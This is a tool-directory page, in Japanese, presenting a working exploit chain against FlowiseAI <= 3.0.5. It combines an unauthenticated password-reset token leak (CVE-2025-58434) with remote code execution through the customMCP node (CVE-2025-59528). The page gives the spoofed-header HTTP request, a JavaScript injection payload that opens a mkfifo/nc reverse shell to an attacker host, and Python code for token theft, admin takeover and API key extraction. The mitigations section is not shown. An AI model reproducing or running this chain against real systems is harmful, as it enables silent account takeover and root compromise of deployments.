Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
FlowiseAI-Critical-KillChain — FlowiseAIにおける認証不要のキルチェーンが完全なRCEに至る重大な脆弱性(CVE-2025-58434 + CVE-2025-59528) | Kitploit
ツール/GitHubGitHub/cveteam/flowiseai-critical-killchain
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証学習と教育レッドチーミングペイロード開発
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

FlowiseAIにおける認証不要のキルチェーンが完全なRCEに至る重大な脆弱性(CVE-2025-58434 + CVE-2025-59528)

リポジトリを見る
185ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

FlowiseAI — 重大なキルチェーン

FlowiseAI <= 3.0.5 に対する、認証なしのアカウント乗っ取りとリモートコード実行の連鎖。
5秒未満での完全なコンテナ侵害、認証情報不要。


キルチェーン

FlowiseAIキルチェーン図
左: FlowiseAI ログインページ — 右: CVE-2025-59528 による root シェル · uid=0(root)


目次

  • 動作の仕組み — 概要
  • 脆弱性の詳細
    • CVE-2025-58434 — トークン開示
    • CVE-2025-59528 — リモートコード実行
  • この連鎖が致命的な理由
  • エクスプロイトコードの解説
  • 使用方法
  • 攻撃後の活動
  • 対策
  • 参考文献

動作の仕組み — 概要

このエクスプロイトは、2つの独立した重大な脆弱性を単一の完全自動化攻撃に連鎖させます。どちらか一方の脆弱性だけでは完全な侵害は保証されませんが、一緒になることで、認証情報ゼロからDockerコンテナ内のrootシェルに至る完全なキルチェーンを形成します。

[No credentials]
      │
      ▼
① Abuse forgot-password endpoint (no auth required)
      │  → Server responds with the victim's reset token in plaintext
      ▼
② Submit token to reset-password endpoint
      │  → Attacker controls the admin password
      ▼
③ Login + retrieve Bearer API key
      │  → Full authenticated session established
      ▼
④ Send JavaScript payload via customMCP node
      │  → Server evaluates it via Function() constructor
      ▼
[Root shell inside Docker container]

ゼロインタラクションの理由: 被害者はメールを受け取ったり、ログインアラートを見たり、目に見えるイベントをトリガーしたりすることは一切ありません。攻撃は完全にサーバーサイドで行われます。


脆弱性の詳細

CVE-2025-58434 — 認証なしパスワードリセットトークンの開示

CVSS 3.1: 9.8 致命的 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるバージョン: FlowiseAI <= 3.0.5 (クラウド + セルフホステッド)
アドバイザリ: GHSA-wgpv-6j63-x5ph

根本原因

FlowiseAIには、「内部」リクエストという概念があります。これは、自身のサービス間で行われるAPI呼び出しであり、x-request-from: internal HTTPヘッダーで識別されます。/api/v1/account/forgot-passwordエンドポイントはこのヘッダーを使用して、認証を完全にスキップし、外部からの呼び出しの場合とは異なる、より詳細なレスポンスを返します。

問題は、このヘッダーは一切検証も制限もされていないことです。インターネット上の攻撃者は誰でもこれを送信できます。送信すると、パスワードリセットメールをトリガーする代わりに、APIは完全なユーザーレコードを応答します。これには、新しいパスワードを設定するためにすぐに使用できる有効なtempTokenが含まれています。

なぜ機能するのか

通常、パスワードリセットの流れは次のようになります:

User requests reset → Server generates token → Token sent by EMAIL → User clicks link → Password changed

ここでは、サーバーはメールのステップを完全にスキップし、トークンをHTTPレスポンスのボディに直接配置します。攻撃者はそれを捕捉し、リセットステップに直接進みます。メールへのアクセスは不要です。

リクエスト

POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

レスポンス 201 — 完全なユーザーレコードが露出

{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

その後、tempTokenはリセットエンドポイントに直接送信されます。メールのやり取り、CAPTCHA、レート制限は一切ありません。


CVE-2025-59528 — CustomMCPノードを介したリモートコード実行

CVSS 3.1: 10.0 致命的 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
影響を受けるバージョン: FlowiseAI <= 3.0.5
アドバイザリ: GHSA-3gcm-f6qx-ff7p

根本原因

FlowiseAIでは、ユーザーがサーバー設定をJSON文字列として提供してカスタムMCP(Model Context Protocol)ノードを定義できます。内部では、プラットフォームはこの設定を解析する必要がありますが、JavaScriptのFunction()コンストラクタを使用してそれを行います。これは機能的にeval()と同等です。

設定文字列は完全にサニタイズされずにシンクに到達します:

// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ unsanitized user input — arbitrary JS execution

Function()がeval()と同様に危険な理由

Function('return ' + code)()は以下のことを行います:

  1. codeを本体とする新しいJavaScript関数を構築
  2. 即座にそれを実行
  3. 結果を返す

これにより、攻撃者はprocess、require、child_process、およびNode.jsランタイム全体にアクセスできる完全なJavaScript実行コンテキストを手に入れます。サンドボックスではありません。

汚染フロー — HTTPからシェルへ

HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← attacker-controlled string
       └─ substituteVariablesInString()            ← no filtering, passes through
            └─ convertToValidJSONString()          ← no filtering, passes through
                 └─ Function('return ' + input)()  ← arbitrary code executes here

インジェクションペイロード

({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

なぜmkfifoで/dev/tcpではないのか?
コンテナは/bin/shで動作し、/bin/bashではありません。/dev/tcpはbashのみの機能であり、標準のPOSIXシェルには存在しません。mkfifoは名前付きパイプを作成し、POSIX準拠のシェルで動作するため、リバースシェルをコンテナ環境間で移植可能にします。


この連鎖が致命的な理由

プロパティ詳細
認証情報不要攻撃者はターゲットIP以外何も持たずに開始します
被害者の操作不要フィッシング、クリック、ソーシャルエンジニアリングはありません
レート制限なしリセットエンドポイントにスロットリングがなく、必要ならブルートフォース可能
CAPTCHAなしリセットフローに人間による検証がありません
メール確認なしパスワード変更は即座に行われ、無音で、元に戻せません
RCEにおける完全なNode.jsランタイムchild_process、ファイルシステム、ネットワーク — サンドボックスなし
Docker内でrootとして実行コンテナは通常rootとして起動され、完全なファイルシステムアクセス
クラウド+セルフホステッドに影響<= 3.0.5 のすべてのデプロイメントが脆弱

エクスプロイトコードの解説

エクスプロイトは4つの連続したステップで構成されており、それぞれがキルチェーンのフェーズに直接対応しています。

ステップ1 — トークン収穫 (CVE-2025-58434)

r1 = session.post(
    f"{TARGET}/api/v1/account/forgot-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]

何が起こるか: サーバーはx-request-from: internalヘッダーにより、これが内部のサービス間呼び出しであると認識します。通常のメール送信パスをスキップし、完全なユーザーレコード(有効なパスワードリセットトークンを含む)をHTTPの201レスポンスボディに直接返します。

なぜ機能するか: ヘッダーチェックは純粋に文字列ベースであり、暗号検証はありません。どんな呼び出し元でも設定できます。バックエンドはリクエストの発信元を検証しません。


ステップ2 — アカウント乗っ取り

session.post(
    f"{TARGET}/api/v1/account/reset-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)

何が起こるか: 盗まれたtempTokenが、攻撃者が選択した新しいパスワードとともに送信されます。サーバーはトークンを検証し(実際に存在し有効です)、メールが一致することを確認し、認証情報ハッシュを更新します。メール確認や二次チェックはありません。

なぜ機能するか: トークンの検証は、トークンが存在し有効期限が切れていないことだけを確認します。トークンを生成した呼び出し元とリセットを送信する呼び出し元が同一であるかどうかは検証されません。所有権は決して確認されません。


ステップ3 — セッション+APIキーの抽出

# Login with the newly set password
session.post(f"{TARGET}/api/v1/auth/login",
    json={"email": EMAIL, "password": NEW_PASS})

# Fetch the Bearer API key needed for the RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]

何が起こるか: 攻撃者の新しいパスワードでの通常のログインにより、完全な管理者セッション(クッキーベース)が確立されます。その後、そのセッションを使用してプラットフォームのデフォルトAPIキーを取得します。これはステップ4で使用するnode-load-methodエンドポイントへのリクエストを認証するために必要です。

なぜ機能するか: この時点で攻撃者は管理者です。認証情報を所有しています。セッションとAPIキーはサーバーによって正当に発行されます。


ツールをダウンロード